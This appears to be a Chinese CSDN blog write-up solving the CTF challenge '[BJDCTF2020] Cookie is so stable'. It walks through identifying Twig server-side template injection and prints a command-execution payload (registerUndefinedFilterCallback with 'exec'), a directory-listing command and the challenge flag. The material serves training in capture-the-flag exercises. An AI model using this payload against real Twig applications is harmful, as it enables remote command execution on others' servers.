BUUCTF [BJDCTF2020]Cookie is so stable

最新推荐文章于 2024-02-28 16:11:22 发布

suppose18

最新推荐文章于 2024-02-28 16:11:22 发布

阅读量168

点赞数

文章标签：信息安全

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/chu_jian_xiong/article/details/108993441

版权

[BJDCTF2020]Cookie is so stable

模板注入
- Payload
- 获取flag

模板注入

打开题目

直奔主题吧
在这里插入图片描述
发现回显和输入是一样的，猜想是模板注入

这里引入个模板注入流程图

经过测试可以发现该模板应该是Twig，直接去拿对应的Payload

Payload

{{_self.env.registerUndefinedFilterCallback("exec")}{{_self.env.getFilter("id")}}

获取flag

用burp做
在这里插入图片描述

查看根目录发现只给一个条信息在这里插入图片描述
换一条命令

echo `ls /`

在这里插入图片描述
查看flag结束

flag{0d43413d-c00e-46ba-a74f-cda52f28256f}

Payload参考：
https://zhuanlan.zhihu.com/p/28823933

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
BUUCTF [BJDCTF2020]Cookie is so stable

[BJDCTF2020]Cookie is so stable模板注入Payload获取flag模板注入打开题目直奔主题吧发现回显和输入是一样的，猜想是模板注入这里引入个模板注入流程图经过测试可以发现该模板应该是Twig，直接去拿对应的PayloadPayload{{_self.env.registerUndefinedFilterCallback("exec")}{{_self.env.getFilter("id")}}获取flag用burp做查看根目录发现只给一个条
复制链接

扫一扫

评论

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。